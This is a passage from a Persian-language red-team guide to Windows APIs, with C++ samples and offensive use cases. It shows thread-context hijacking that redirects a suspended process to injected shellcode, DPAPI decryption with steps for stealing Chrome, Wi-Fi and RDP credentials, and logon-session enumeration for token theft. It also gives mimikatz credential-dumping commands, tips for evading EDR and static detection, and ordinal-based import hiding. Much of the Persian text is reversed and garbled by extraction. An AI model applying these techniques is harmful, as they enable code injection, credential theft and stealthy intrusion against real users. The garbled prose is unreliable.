 هستند. یاتیح یبردارپس از بهره یابزارها

  برخلافLoadLibrary ،ای ندوزیو بار گذار DllMain کنندینم یرا فراخوان. 
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 SetThreadContext / GetThreadContext -  یکاربرد یهامثال

 هدف

 که. کنندی( خاص را فراهم مThreadنخ ) کی CPU یهاثبات تیوضع رییتوابع امکان خواندن و تغ نیا

 است: ریشامل موارد ز

 ( شمارنده دستورInstruction Pointer: EIP/RIP) 

 اشاره( گر پشتهStack Pointer: ESP/RSP) 

 یعموم یهاثبات (General-purpose registers) 

 یانتخابگرها ( سگمنتSegment selectors) 

 باگیشناور و د زیمم یهاثبات 

 قرمز مهم است میت یموضوع برا نیا چرا

 مانند: دهد،یرا م یبردارپس از بهره شرفتهیپ یهاکیتکن یسازادهینخ اجازه پ Context کاریدست

 کاربرد کیتکن

Process Hollowing پردازش معلق و اشاره دادن  یسیبازنوRIP
 کدبه شل 3

Thread Hijacking گرینخ در پردازش د کی یاجرا ریمس رییتغ 

Reflective Loaders یاجرا یشمارنده دستور برا میتنظ Loader Stub 

Shellcode Launch یحافظه حاو هیاجرا به ناح ریمس رییتغ Payload 

 توابع پیپروتوتا

GetThreadContext 
BOOL GetThreadContext( 
  HANDLE    hThread, 
  LPCONTEXT lpContext 

);  

SetThreadContext 
BOOL SetThreadContext( 
  HANDLE       hThread, 
  const CONTEXT *lpContext 
);  

                                                                    

3 Register Instruction Pointer 



 ویندوز برای تیم قرمز APIمقدمه ای بر توسعه 

 

115 

 

 مهم اتیجزئ

 hThread یدسترس دیبا THREAD_GET_CONTEXT ای THREAD_SET_CONTEXT  داشته

 باشد.

 یبرا دینخ با ( استفاده قابل اعتماد، متوقفSuspended.باشد ) 

  ساختارCONTEXT مناسب )مثل  یهابا پرچم دیباCONTEXT_FULL ای 

CONTEXT_CONTROLشود. ی( مقدارده 

 :یمعمار نکته

  درx86 (32شمارنده دستور تیب :)EIP .است 

  درx64 (64شمارنده دستور تیب :)RIP .است 

و  Wow64GetThreadContextاز  یتیب64 عاملسیستمدر  یتیب32 یهانخ یبرا

Wow64SetThreadContext دیاستفاده کن. 

 CONTEXT (x64): ساختار
typedef struct _CONTEXT { 
  DWORD64 P1Home; 
  DWORD64 Rax; 
  DWORD64 Rcx; 
  DWORD64 Rip; 
  DWORD64 Rsp; 
  DWORD64 Rbp; 
  // ... many other registers 
  DWORD ContextFlags; 
} CONTEXT;  

 ( باشد:هاآن بیترک ای) ریاز موارد ز یکی دیبا ContextFlags مقدار

 CONTEXT_FULL 
 CONTEXT_CONTROL 
 CONTEXT_INTEGER 
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 (تیب64کد )نخ به شل ریمس تغییر – ++C نمونه

#include <Windows.h> 

#include <iostream> 

 

int main() { 
    STARTUPINFO si = { sizeof(si) }; 
    PROCESS_INFORMATION pi; 
 

    // Start suspended process (e.g., hollowing)  
    if 

(!CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", 

NULL, NULL, NULL, FALSE,                        

CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { 
        std::cerr << "CreateProcess failed.\n"; 
        return 1; 
    } 
 

    // Allocate shellcode 
    LPVOID remoteShellcode = VirtualAllocEx(pi.hProcess, 

NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
    BYTE shellcode[] = { 0x90, 0x90, 0xC3 }; // NOP NOP 

RET (just for testing) 
    WriteProcessMemory(pi.hProcess, remoteShellcode, 

shellcode, sizeof(shellcode), NULL); 
 

    // Set up context 
    CONTEXT ctx; 
    ctx.ContextFlags = CONTEXT_FULL; 
 

    if (GetThreadContext(pi.hThread, &ctx)) { 
        std::cout << "Original RIP: " << std::hex << 

ctx.Rip << std::endl; 
        ctx.Rip = (DWORD64)remoteShellcode;  

 

// Redirect execution 
        SetThreadContext(pi.hThread, &ctx); 
    } else { 
        std::cerr << "GetThreadContext failed." << 

std::endl; 
    } 
 

    ResumeThread(pi.hThread); 

    CloseHandle(pi.hThread); 
    CloseHandle(pi.hProcess); 

    return 0; 
}  
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 یقرمز و تهاجم میاستفاده ت موارد
 مثال کیتکن

Process Hollowing رییتغ RIP یاجرا یپردازش برا ینخ اصل Payload 
 شدهقیتزر

Thread Stomping رییتغ Context  یپردازش سالم برا کینخ موجود در 
 کد خودتان یاجرا

Payload Launchers میو تنظ ینخ ساختگ جادیا Context آن قبل از اجرا 

Direct Injection کد به حافظه شل قیتزرRWX نخ به آن تیو هدا 

 

 OPSECو نکات  EDRتوسط  صیتشخ
 ییشناسا سکیر اقدام

 ادیز گریپردازش د یرو SetThreadContextاز  استفاده

 کد قیتزر جیرا یامضا افتهی رییتغ RIPمعلق +  نخ

 شودیم یمعمولاً باعث هشدار رفتار Context ریی+ تغ RWXدر حافظه  نوشتن

 

 :ییکاهش شناسا یراهکارها

 یهاکیاستفاده از تکن Syscall میرمستقیغ (syscall; ret stubs) 

 شده )مثل شناخته قیتزر یاجتناب از الگوهاCreateRemoteThread + 

WriteProcessMemory) 

  استفاده ازgadget یاجرا ایها ( بدون نخQueueUserAPC ،NtContinue ،RtlRemoteCall) 

 نخ Contextکد با شل یاجرا نیگزیجا روش

 پردازش در حالت معلق جادیا .1

 کدو نوشتن شل صیتخص .2

 کدبه شل RIP رتغیی ←نخ  Context میتنظ .3

 ResumeThreadنخ با  یادامه اجرا .4

 .کندیرا حذف م IATحساس در  یهاو نام کندیم یدور CreateRemoteThreadمثل  یروش از توابع نیا

 خلاصه

 GetThreadContext کامل  تیوضعCPU کندیم یابینخ را باز کی. 
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 SetThreadContext اجرا. ریمس رییتغ برای اغلب — دهدیم رییآن را تغ 

 کد،  قیاستفاده در تزرHollowingلیکد و تحوشل ی، اجرا Payload یبردارپس از بهره. 

  یکاریمخف یهاکیبا تکن بیدر ترک یبالا دارد؛ ول ییشناسا سکیصورت سوءاستفاده ردر 

 قدرتمند است. اریبس
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 CryptUnprotectData -  یکاربرد یهامثال

 هدف

CryptUnprotectData کی API را که قبلاً با  ییهااست که داده ندوزیوCryptProtectData یرمزگذار 

 .کندیم ییرمزگشا Windows Data Protection API (DPAPI)اند، با استفاده از شده

 :جیاستفاده را موارد

 مثل رمزها شدهرهیذخ یهااعتبارنامه یابیباز(یدهایمرورگر، کل ی Wi-Fiشنیکیاپل یدهای، کل) 

 اندشدهذخیره یقانون یافزارهانرم ایکه توسط بدافزار  ییرازها ایها داده ییرمزگشا 

  استخراج اطلاعات حساس ازLSA Secrets ،Credential Manager ،Chrome ،RDP ... و 

 تابع یامضا

BOOL CryptUnprotectData( 
  DATA_BLOB* pDataIn, 
  LPWSTR*    ppszDataDescr, 
  DATA_BLOB* pOptionalEntropy, 
  PVOID      pvReserved, 
  CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct, 
  DWORD      dwFlags, 
  DATA_BLOB* pDataOut 
);  

 یدیکل یپارامترها
 حیتوض پارامتر

pDataIn گر به ساختار اشارهDATA_BLOB داده  یحاو
 شدهیرمزگذار

ppszDataDescr م یاریاخت حاتیرشته توض(تواندی NULL )باشد 

pOptionalEntropy دیبا ؛یدر زمان رمزگذار ی)راز اضاف یاریاخت یآنتروپ 
 باشد( کسانی

pvReserved با( دیرزرو شده NULL )باشد 

pPromptStruct معمولاً  یاریاخت یاطلاعات رابط کاربر(NULL) 

dwFlags (دیبگذار 0 یرو فرضشیحالت پ یها )براپرچم 

pDataOut کیرا در  شدهییرمزگشا یخروج DATA_BLOB 
 گرداندیبرم
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 DATA_BLOB: ساختار
typedef struct _DATA_BLOB { 
  DWORD cbData; 
  BYTE* pbData; 
} DATA_BLOB;  

 DPAPIبا  شدهیرمزگذار Blob کی رمزگشایی – ++C نمونه

#include <Windows.h> 

#include <Wincrypt.h> 

#include <iostream> 
#pragma comment(lib, "Crypt32.lib") 

 

bool DecryptDPAPI(const BYTE* encryptedData, DWORD 

dataSize) { 
    DATA_BLOB inBlob = { dataSize, 

const_cast<BYTE*>(encryptedData) }; 
    DATA_BLOB outBlob = {}; 
 

    if (CryptUnprotectData(&inBlob, NULL, NULL, NULL, 

NULL, 0, &outBlob)) { 
        std::cout << "Decrypted Data: "; 
        for (DWORD i = 0; i < outBlob.cbData; i++) { 
            std::cout << 

static_cast<char>(outBlob.pbData[i]); 
        } 
        std::cout << std::endl; 
        LocalFree(outBlob.pbData); 
        return true; 
    } else { 
        std::cerr << "Decryption failed. Error: " << 

GetLastError() << std::endl; 
        return false; 
    } 
} 
int main() { 
    // Example encrypted data blob (you would replace 

this with real encrypted data) 
    BYTE exampleData[] = { /* insert real DPAPI-

encrypted bytes here */ }; 
    DWORD exampleSize = sizeof(exampleData); 
 

    DecryptDPAPI(exampleData, exampleSize); 
    return 0; 
}  
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 قرمز میاستفاده ت موارد
 حیتوض هدف

با  ییو رمزگشا SQLite (Login Data) لیاستخراج از فا Chrome یرمزها
CryptUnprotectData 

 WLAN یهالیدر پروفا DPAPIبا  شدهیرمزگذار Wi-Fi یدهایکل

 یستریرج ای Credential Managerدر  شدهرهیذخ RDP یهااعتبارنامه

 شدهیرمزگذار یهارشته رهیذخ یبرا DPAPIبدافزارها از  یبرخ بدافزار یکربندیپ

 کنندیاستفاده م

LSA Secrets پس از استخراج  ییرمزگشاHives مانند  یستریرج(SYSTEM + 

SECURITY) 

 هاتیمحدود

 CryptUnprotectData کندیاستفاده م شدهذخیرهکاربر  لیکاربر که در پروفا یدهایاز کل: 

o به  ازینContext (یسازهیشب ای)ورود  حیکاربر صح 

o  ممکن است بهToken LSASS یدسترس ای SYSTEM یداشته باشد )در برخ ازین 

 (هایکربندیپ

 یرا برا یهمان آنتروپ دیباشد، با شدهاستفاده یدر زمان رمزگذار یاریاخت یاگر آنتروپ 

 .دیارائه ده ییرمزگشا

 DPAPI شرفتهیپ حملات
 حیتوض کیتکن

Master Key Extraction  گرفتنMaster Key % ازAPPDATA%\Microsoft\Protect ای 

 یستریرج

Offline Decryption مثل  ییاستفاده از ابزارهاmimikatz ای dpapi.h + crypt32.dll  با
 شدهسرقت یدهایکل

Impersonation  استفاده ازLogonUser + LoadUserProfile کد در  یاجرا یبراContext 

 کاربر هدف

LSASS Dump + DPAPI بیترک sekurlsa::dpapi  وsekurlsa::credman استخراج  یبرا
 هااعتبارنامه

 OPSECو  صیتشخ
 سکیر اقدام

 (ندکنیها استفاده ماز برنامه یاریبس رایکم )ز CryptUnprotectData میمستق یفراخوان

 (رمجازیغ Contextدر  ژهیومتوسط )به ییمرورگر + رمزگشا SQLite یهالیفا خواندن
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 ادیز SYSTEM hive/یستریرج یبا دسترس بیترک

 :هاوهیش نیبهتر

 دینکن یدر پردازش مشکوک فراخوان شدهقیاز کد تزر ماًیمستق 

 دیانجام ده یامرحله یاجرا ایرا در پردازش راه دور  ییرمزگشا اتیعمل 

 دیدر حافظه نگه ندار یرا مدت طولان شدهییرمزگشا یهاداده 

 Chrome یاستفاده در سرقت رمزها نمونه

 Login Data (SQLite)داده  گاهیبازکردن پا .1

 loginsاز جدول  password_valueاستخراج  .2

 صورت متن سادهگرفتن رمز عبور به ی)( براCryptUnprotectData یفراخوان .3

 همه رکوردها یتکرار برا .4

 خلاصه

 CryptUnprotectData با  شدهیحساس رمزگذار یهادادهDPAPI کندیم ییرا رمزگشا. 

 شودیاستفاده م ندوزیو یتیامن یها و ابزارهاگسترده توسط برنامه طوربه. 

 یدهایمرورگر، کل یرمزها ییرمزگشا یقرمز برا میت اتیدر عمل Wi-Fiیها، اعتبارنامه RDP  و

 ارزشمند است. اریبس گریموارد د

 اریبس رگید یهاکیبا تکن بیدر ترک یکم است ول ییشناسا سکیدر صورت استفاده درست، ر 

 قدرتمند خواهد بود.
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 / LsaEnumerateLogonSessions -  یکاربرد یهامثال

LsaGetLogonSessionData 
 هدف

 logonورود ) یهاامکان شمارش همه نشست LSA (Local Security Authority)مربوط به  APIدو  نیا

sessionsمانند: یهمراه با اطلاعات جزئ کنند،یرا فراهم م ستمیس کی ی( رو 

 و دامنه ینام کاربر 

 ( زمان ورود و شناسه نشستLUID) 

 ( نوع ورودinteractive ،remote ،service رهیو غ) 

 SID (یتی)شناسه امن 

 مثل  تیبسته احراز هو(Kerberos ای MSV1_0) 

 و پس از نفوذ: Red Teamدر کار  نیا تیاهم

 تیمز کاربرد

کاربران  ایکاربران سطح بالا  ییشناسا نشست شکار
RDP/remote 

 توانیکه م ییهاکردن نشست دایپ توکن جعل

 سرقت/استفاده کرد

 مشخص کردن کدام کاربران فعال هستند اعتبارنامه شکار

 رهیو غ Citrix ،RDSدر  گریکشف کاربران د چندکاربره یهاستمیس

 هاکد تابع نمونه

LsaEnumerateLogonSessions 
NTSTATUS LsaEnumerateLogonSessions( 
  PULONG  LogonSessionCount, 
  PLUID   *LogonSessionList 
);  

 یهااز شناسه یفهرست ( نشست ورودLUIDرا برم )گرداندی 

 شودیگر به فراخواننده داده مشمارش و اشاره 

LsaGetLogonSessionData 
NTSTATUS LsaGetLogonSessionData( 
  PLUID                      LogonId, 
  PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData 
);  
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 افتیبا در LUIDگرداندیبا تمام اطلاعات نشست را باز م ی، ساختار 

 SECURITY_LOGON_SESSION_DATA: یدیکل تارساخ
typedef struct _SECURITY_LOGON_SESSION_DATA { 
  ULONG     Size; 
  LUID      LogonId; 
  UNICODE_STRING UserName; 
  UNICODE_STRING LogonDomain; 
  UNICODE_STRING AuthenticationPackage; 
  ULONG     LogonType; 
  ULONG     Session; 
  PSID      Sid; 
  LARGE_INTEGER LogonTime; 
  // ... 
} SECURITY_LOGON_SESSION_DATA, 

*PSECURITY_LOGON_SESSION_DATA;  

 کاربران و هانشست شمارش – ++C نمونه

#include <Windows.h> 

#include <NTSecAPI.h> 

#include <Sddl.h> 

#include <iostream> 

 

#pragma comment(lib, "Secur32.lib") 

 

int wmain() { 
    ULONG sessionCount = 0; 
    PLUID sessions = nullptr; 
 

    if (LsaEnumerateLogonSessions(&sessionCount, 

&sessions) != 0) { 
        std::wcerr << L"Failed to enumerate logon 

sessions." << std::endl; 
        return 1; 
    } 
 

    for (ULONG i = 0; i < sessionCount; ++i) { 
        PSECURITY_LOGON_SESSION_DATA pSessionData = 

nullptr; 
        if (LsaGetLogonSessionData(&sessions[i], 

&pSessionData) == 0 && pSessionData) { 
            if (pSessionData->UserName.Buffer && 

pSessionData->LogonDomain.Buffer) {  
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                std::wcout << L"User: " << 

std::wstring(pSessionData->UserName.Buffer, 

pSessionData->UserName.Length / 2) 
                           << L"\\" << 

std::wstring(pSessionData->LogonDomain.Buffer, 

pSessionData->LogonDomain.Length / 2) << std::endl; 
 

                std::wcout << L"Auth Package: " << 

std::wstring(pSessionData->AuthenticationPackage.Buffer, 
                             pSessionData-

>AuthenticationPackage.Length / 2) << std::endl; 
 

                std::wcout << L"Logon Type: " << 

pSessionData->LogonType << std::endl; 
                std::wcout << L"Session ID: " << 

pSessionData->Session << std::endl; 
 

                if (pSessionData->Sid) { 
                    LPWSTR sidStr; 
                    if 

(ConvertSidToStringSid(pSessionData->Sid, &sidStr)) { 

                        std::wcout << L"SID: " << sidStr 

<< std::endl; 
                        LocalFree(sidStr); 
                    } 
                } 
 

                std::wcout << L"------------------------

" << std::endl; 
            } 
            LsaFreeReturnBuffer(pSessionData); 
        } 
    } 
 

    LsaFreeReturnBuffer(sessions); 
    return 0; 
} 
  

 Logon Type ریمقاد

 یمعن مقدار

2 Interactive )ورود به کنسول( 

3 Network 

4 Batch 
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5 Service 

7 Unlock 

10 RemoteInteractive  مثل(RDP) 

11 CachedInteractive 

9 NewCredentials  مثل(runas) 

 شوند. ییشناسا یسرقت یهاو توکن سیسرو ی، ورودهاRDP یهاکه نشست کنندیکمک م ریمقاد نیا

 Red Team یکاربردها

 کاربرد ویسنار

Session Hijacking کاربران سطح بالا )مثل  یهانشست ییشناسا
DOMAIN\Administrator) 

Token Impersonation  همراه باOpenProcessToken ،DuplicateToken ،
ImpersonateLoggedOnUser 

Credential Harvesting کردن کاربران  دایپinteractive  و استخراج رمزها از حافظهLSASS 

Multi-user Recon یسرورها یبرا مناسب RDPنال،ی، ترم Citrix یهاطیو مح VDI 

Domain Lateral 
Movement 

 pivot ینشست کاربران دامنه برا ییشناسا

 OPSECو  کشف

 کشف سکیر رفتار

وع مشر یستمیس ابزارهای —کم تا متوسط  LsaEnumerateLogonSessions یفراخوان
 کنندیاز آن استفاده م

 دهدیامن هشدار م یهاطمحی در —بالا  یرخودیغ یهابه داده نشست یدسترس

 بالا شدهقیتزر ای unsigned یهاینریدر با استفاده

 :یکارپنهان نکات

 ستمیمشابه س یهاپروسه ایامضا شده  یاستفاده در لودرها 

 Resolve  کردن توابعLSA با  کینامیصورت دابهGetProcAddress 

  استفاده ازsyscall کد شلِ ای میمستقwrappers حساس به  یهاطیدر محOPSEC 

 Mimikatzدر  معادل

Mimikatz نیاز ا APIکندیاستفاده م ریدستورات ز یها در هنگام اجرا: 

privilege::debug 
sekurlsa::logonpasswords  

 .کنندیم dumpشده را کشف interactive یهااعتبارنامه نشست هانیا
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 خلاصه

 LsaEnumerateLogonSessions  همهLUIDدهدینشست ورود را م یها 

 LsaGetLogonSessionData دامنه، نوع نشست،  ،ینام کاربرSID گرداندیو زمان را بازم 

 است یاتیح یو ارتقاء سطح دسترس یکشف نشست، حرکت جانب یبرا 

 با سرقت توکن، خواندن حافظه  بیدر صورت ترکLSASS یابزارها ای harvest اریاعتبار، بس 

 قدرتمند است
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 MalAPI بر  یمرور کل

 یبرا گانیباز و رامنبع کاملاً متن کیشده،  یاندازراه mr.d0x یتیکه توسط پژوهشگر امن MalAPI پروژه

 مثل تیساوب نی. اشوندیدر بدافزارها استفاده م شتریاست که ب Windows APIو درک توابع  ییشناسا

دهد، معمولاً در یانجام م یچه کار APIهر  دهدیم حیو توض کندیعمل م یفرهنگ لغت تخصص کی

 .دهدیرا هم ارائه م کروسافتیما یمستندات رسم نکیو ل شود،یاستفاده م یچه هدف یبدافزارها برا

 MalAPI.ioمهم  یهایژگیو

 بر اساس کاربرد مخرب یبنددسته    

(، Injectionکد ) قی(، تزرEnumeration) ستمیمثل شمارش اطلاعات س ییهاها در دستهAPIتمام     

 نیاند. امرتب شده رهیو غ ینترنتی(، ارتباطات اAnti-Debugging) باگید(، ضدEvasion) ییفرار از شناسا

 .شودیاستفاده م یهر تابع در چه نوع حملات دیبفهم ترعیسر شودیکار باعث م

 APIکامل هر  حاتیتوض    

 به مستندات میمستق نکیدر بدافزار، و ل یاحتمال یکاربردها ج،یرا ی، کاربردهاDLLهر تابع، نام  یبرا    

 وجود دارد. کروسافتیما یرسم

 (یبردار)نقشه Mappingحالت     

صورت جدول کرده و به تیلایرا ها هاآن د،یها را انتخاب کنAPI دهدیبه شما اجازه م تیقابل نیا    

 است. یکاربرد اریبس APIزمان چند هم یبررس ایگزارش  هیته یبرا یژگیو نی. ادیریبگ یخروج

 مشارکت کاربران    

 شودیباعث م یجمع یهمکار نیرا بهبود دهد. ا حاتیتوض ایاضافه کند  دیجد API تواندیم یهر کس    

 روز و کامل بماند.به شهیداده هم گاهیپا

 MalAPI.io یکاربردها

 نام  دنیبا د د،یمعکوس هست یبدافزار: اگر مشغول مهندس لیتحلAPI دیتوانیدر کد بدافزار م 

 است. شدهاستفادهو چرا  کندیم یتابع چه کار نیکه ا دیمتوجه شو عیسر

 Red Teamingکردن  دایبا پ توانندیقرمز م میت ی: اعضاAPIحمله  یوهایحساس، سنار یها

 ند.کن ادهیپ یترانهیو مخف تریواقع

  دیخواهیو م دیکار هست: اگر تازهیریادگیآموزش و Windows Internals یهاکیتکن ای 

 خواهد بود. تانیفهم برامرجع ساده و قابل کی تیسا نیا د،یریبگ ادیبدافزار را 
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 MalAPI.ioاز  APIنمونه  چند

    GetWindowsDirectoryA ← دایپ یبرا نیممکن است از ا. بدافزار گرداندیرا برم ندوزیپوشه و رمسی 

 استفاده کند. یستمیس یرهایو مس هالیکردن فا

    WriteProcessMemory ← ع تاب نی. اکندیرا فراهم م گرید ندیفرا کی حافظه در داده نوشتن امکان

 کد است. قیتزر یهاکیاز تکن یاریبس یاصل هیپا

    IsDebuggerPresent ← ییشناسا ینه. بدافزارها برا ایاست  باگیبرنامه تحت د ایآ کندیم بررسی 

 .کنندیاستفاده م نیاز ا لگریتحل

    ControlServiceExA ← نی. اهاآن تیوضع رییتغ ایمثل شروع، توقف  ندوزیو یهاسسروی کنترل 

 استفاده شود. یتیامن یهاسیخاموش کردن سرو یبرا تواندیکار م

    FindResourceExA ← ای ییاجرا لیدر فا یمنابع داخل جستجوی DLLنیبا ا توانندی. بدافزارها م 

 کنند. دایشده را پمخرب پنهان یروش، محتوا

 /https://malapi.io: یرسم تیساوب

است که مهاجمان و بدافزارها  ندوزیو یهاAPIکشف و درک  ینقشه راه برا کی MalAPI.ioزبان ساده:  به

هم در حملات  د،یانجام ده یترقیدق لیهم تحل دیتوانیابزار م نی. با اکنندیسوءاستفاده م هاآناز 

 .دیعمل کن تریاحرفه شدهیسازهیشب
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API Ordinal یآموزش راهنمای – ندوزیدر و 

 مقدمه

. شودیم یمعمولاً با نام آن فراخوان کند،ی( مExportصادر ) DLL کیکه  یریمتغ ایهر تابع  ندوز،یو در

منحصر به فرد  یبیعدد ترت کینام، از  جایبههم وجود دارد که  Ordinalبه نام  نیگزیروش جا کیاما 

 .کندیاستفاده م

Ordinal کند؟یچگونه کار م 

مشخص کند.  Ordinalشماره  کیهر تابع صادر شده  یبرا تواندیم نکریل شود،یساخته م DLL کی یوقت

 ندارد که بر اساس حروف الفبا مرتب باشد. یشناسه است و الزام کیشماره مثل  نیا

 دهندهنکیبا دستورات ل ای def. لیدر فا یدست صورتبهها را Ordinal نیا تواندیدهنده متوسعه    

 کند. نییتع

به استفاده از  ازیشماره وارد کند، بدون ن نیرا با هم موردنظرتابع  تواندیم گرید DLL ایبرنامه  کی    

 .رشته نام تابع

برنامه را  یزمان بارگذار تواندیها مOrdinalرشته است، استفاده از  سهیاز مقا ترعیعدد سر سهیمقا چون

 هستند. ییکه حساس به کارا ییافزارهاکاهش دهد، مخصوصاً در نرم یکم

 ایمزا

 از جستجو با نام است. ترعیکردن تابع بر اساس عدد سر داپی – شتریسرعت ب .1

تر معکوس سخت یمهندس شود،یم مخفی توابع نام چون –( Obfuscation) یسازپنهان .2

 .شودیم

 هاسکیو ر بیمعا

تر کار تابع مشکل دنیفقط اعداد وجود دارند، فهم وقتی –تر سخت یو نگهدار ییکاهش خوانا .1

 است.

ته وابس یهادهد، برنامه رییرا تغ Ordinal یهاشماره DLL دجدی نسخه اگر – یمشکل ناسازگار .2

 ممکن است خراب شوند.
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 و بدافزارها تیدر امن نقش

 ییهافرار کنند. چون اگر نام کیاستات ییتا از شناسا کنندیاستفاده م Ordinalاز بدافزارها از  یاریبس

وجود نداشته  Import Address Table (IAT)در جدول  MessageBoxA ای CreateRemoteThreadمثل 

 دهند. صیرا تشخ هاآن توانندیتر مسخت روسیویآنت یباشد، ابزارها

 Ordinalبا  MessageBoxA از استفاده – یعمل مثال

 تابع Ordinalکردن  دایپ – 1 گام

مربوط  Ordinalو شماره  دیشو Export Tableوارد  ،بازکنیدرا  user32.dll لیفا PEViewمثل  ییابزارها با

 .دیکن دایرا پ MessageBoxAبه 

 باشد. 2152شما  ستمیس یعدد رو نیا میکن فرض

 

 .دیرا انتخاب کن موردنظر، تابع IAT (Import Address Table) با استفاده از جدول -  8 ریتصو
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هم  رییتغ 2±فرق داشته باشد. معمولاً با  ندوزیو یهانسخه نیممکن است ب Ordinalنکته: شماره     

 .دیامتحان کن

 پتیبا اسکر Ordinal( استخراج یاریاخت) – 2 گام

 

 .MessageBoxA تابع یبراOrdinal شماره  جهینت - 9 ریتصو

 .دیاستفاده کن Ordinalکردن  دایپ یبرا GitHubدر  ordinal_pe.pyمثل  Python پتیاز اسکر دیتوانیم
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 Ordinalتابع با  یفراخوان یبرا ++Cنوشتن کد  – 3 گام

 لهیبه وس user32.dll لیرا از فا MessageBoxAآورده شده که تابع  ++Cنمونه کامل از کد  کی نجایا

:کندیم یآن فراخوان Ordinalشماره 
#include <windows.h> 

#include <iostream> 

#include <stdio.h> 

 

int main() { 
    // Load user32.dll 
    HMODULE hModule = LoadLibrary(L"user32.dll"); 
    if (!hModule) { 
        std::cerr << "Failed to load user32.dll!" << 

std::endl; 
        return 1; 
    } 
 

    // Define function pointer type matching MessageBoxA 
    typedef int (WINAPI* MsgBoxFunc)(HWND, LPCSTR, 

LPCSTR, UINT); 
 

    // Resolve function by ordinal (e.g., 2150) 
    MsgBoxFunc OrdinalBoxA = 

(MsgBoxFunc)GetProcAddress(hModule, (LPCSTR)2150); 
    if (!OrdinalBoxA) { 
        std::cerr << "Failed to locate the function!" << 

std::endl; 
        FreeLibrary(hModule); 
        return 1; 
    } 

    // Call the resolved MessageBoxA function 
    OrdinalBoxA(NULL, "Hello, World!", "Test 

MessageBoxA", MB_OK | MB_ICONINFORMATION); 
 

    // Free the DLL 
    FreeLibrary(hModule); 
    return 0; 
}  

 Ordinalبا استفاده از  Windows APIتابع  کی یکامل کد: فراخوان حیتوض

#include <windows.h> 

#include <iostream> 

#include <stdio.h>  

 مفهوم:
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 windows.h ← توابع تمام اعلان شامل API مثل  ندوزیوLoadLibrary, GetProcAddress, 

MessageBoxA. 

 iostream ← استاندارد مثل  ی/خروجیورود برایstd::cout  وstd::cerr. 

 stdio.h ← استاندارد توابع Cستین یکد ضرور نی؛ در ا. 

int main() {  

 مفهوم:

  تابعmain بع تا نیا ندوزیو شود،یشما اجرا م یبرنامه کنسول ینقطه شروع برنامه است. وقت

 کد آغاز شود. یتا اجرا کندیم یرا فراخوان

 .شودیاز آن شروع م چیزهمهاست که  ییجا نجایساده، ا انیب به

HMODULE hModule = LoadLibrary(L"user32.dll");  

 مفهوم:

  تابعLoadLibrary لیفا کی DLL کتابخانه پو(ای ای Dynamic Link Libraryرا داخل فضا )ی 

 .کندیم یبارگذار یپردازش فعل یحافظه

 مقدار از نوع  کیکار انجام شد، تابع  نیا یوقتHMODULE درواقعمقدار  نیا گرداند؛یبرم 

در حافظه اشاره  DLLآن  یهیاست که به آدرس پا بارگذاری شدههندل )شناسه( ماژول 

 .کندیم

 رشته L”user32.dll” یرشته کی Unicode (Wide String) لیاست. فا user32.dll  شامل

 .MessageBoxA( است، مثل GUI) ندوزیو یتوابع رابط کاربر

 مهم است؟ چرا

 کند. دایتوابع داخل آن را پ تواندینم GetProcAddressتابع  م،ینکن یبارگذار یصورت دسترا به DLL اگر

if (!hModule) { 
    std::cerr << "Failed to load user32.dll!" << 

std::endl; 
    return 1; 
}  

 مفهوم:

 که  دیکن یبررس دیبا شهیهمLoadLibrary اجرا شده باشد. تیبا موفق 
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 یبارگذار اگر DLL لیمثال، فا یشکست بخورد )برا DLL  یبرنامه دسترس ایوجود نداشته باشد 

 .گرداندیبرم NULLتابع مقدار  نیخواندن آن را نداشته باشد(، ا یلازم برا

typedef int (WINAPI* MsgBoxFunc)(HWND, LPCSTR, LPCSTR, 

UINT);  

 مفهوم:

 به نام  میکنیم فیگر به تابع تعراشاره ینوع داده کی نجایاMsgBoxFunc اشاره  یکه به تابع

 :MessageBoxAتابع  یبا همان ساختار و پارامترها کندیم

o HWNDاست( یاری: هندل پنجره )پنجره والد، که اخت 

o LPCSTRداده شود شیکه قرار است نما یمتن غامی: پ 

o LPCSTRامی: عنوان پنجره پ 

 UINTمثل نوع آ: فلگ( یهادکمه کون،یها OK/Cancel رهیو غ) 

 WINAPI ماکرو است که به  کی__stdcall یقرارداد فراخوان یعنی شود،یم لیتبد (calling 

conventionتوابع  یبرا ندوزیو ژهی( وAPI. 

MsgBoxFunc OrdinalBoxA = 

(MsgBoxFunc)GetProcAddress(hModule, (LPCSTR)2150);  

 مفهوم:

  تابعGetProcAddress مثلاً  ردیگیعنوان آرگومان دوم ممعمولاً نام تابع را به(

"MessageBoxA".) 

 انگری( که نما2150عدد ) کینام تابع،  جایبه نجا،یا اما Ordinal  است را به نوعLPCSTR 

 .میفرستیکرده و م لیتبد

 :افتدیم یچه اتفاق درواقع

 تابع GetProcAddress آرگومان  ایکه آ کندیم یدرون خودش بررسLPCSTR عدد کوچک  کی

(Ordinal هست )نه. ای 

 که در آن شماره  یآدرس تابع ماً یو مستق گرددیدنبال نام تابع نم گریبله، د اگرOrdinal  در

 .گرداندی( است را برمExport Address Tableاکسپورت ) یهاجدول آدرس

 :میکنیاستفاده م Ordinalاز  چرا
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 یانجام شود )پس در جدول واردات معمول یاتوابع بدون نام رشته یفراخوان شودیباعث م 

 (ستین

 کیاستات ییشناسا یجلو (Static Analysis توابع حساس )API ردیگیرا م 

  است جیرا یلیخ یکاریمخف یمخرب برا یبدافزارها و کدهادر 

if (!OrdinalBoxA) { 
    std::cerr << "Failed to locate the function!" << 

std::endl; 
    FreeLibrary(hModule); 
    return 1; 
}  

 مفهوم:

 با آن شماره  یاگر تابعOrdinal نشود،  دایپGetProcAddress  مقدارNULL گرداندیبرم. 

 یبا فراخوان دیصورت با نیا در FreeLibrary  منابع مربوط بهDLL و از برنامه خارج  میرا آزاد کن

 .میکن تیریخطا را مد ای میشو

OrdinalBoxA(NULL, "Hello, World!", "Test MessageBoxA", 

MB_OK | MB_ICONINFORMATION);  

 مفهوم:

 قسمت تابع  نیدر اMessageBoxA  که با شمارهOrdinal شودیم یشده، فراخوان دایپ. 

 عبارتند از: بیبه ترت پارامترها 

o NULL :پنجره والد وجود ندارد )پنجره مستقل( یعنی 

o "Hello, World!"شودیداده م شیکه نما یامی: متن پ 

o "Test MessageBoxA"امی: عنوان پنجره پ 

o MB_OK | MB_ICONINFORMATION دکمه :OK را نشان  یاطلاعات کونیهمراه با آ

 .دهدیم

    FreeLibrary(hModule); 
    return 0; 
}  

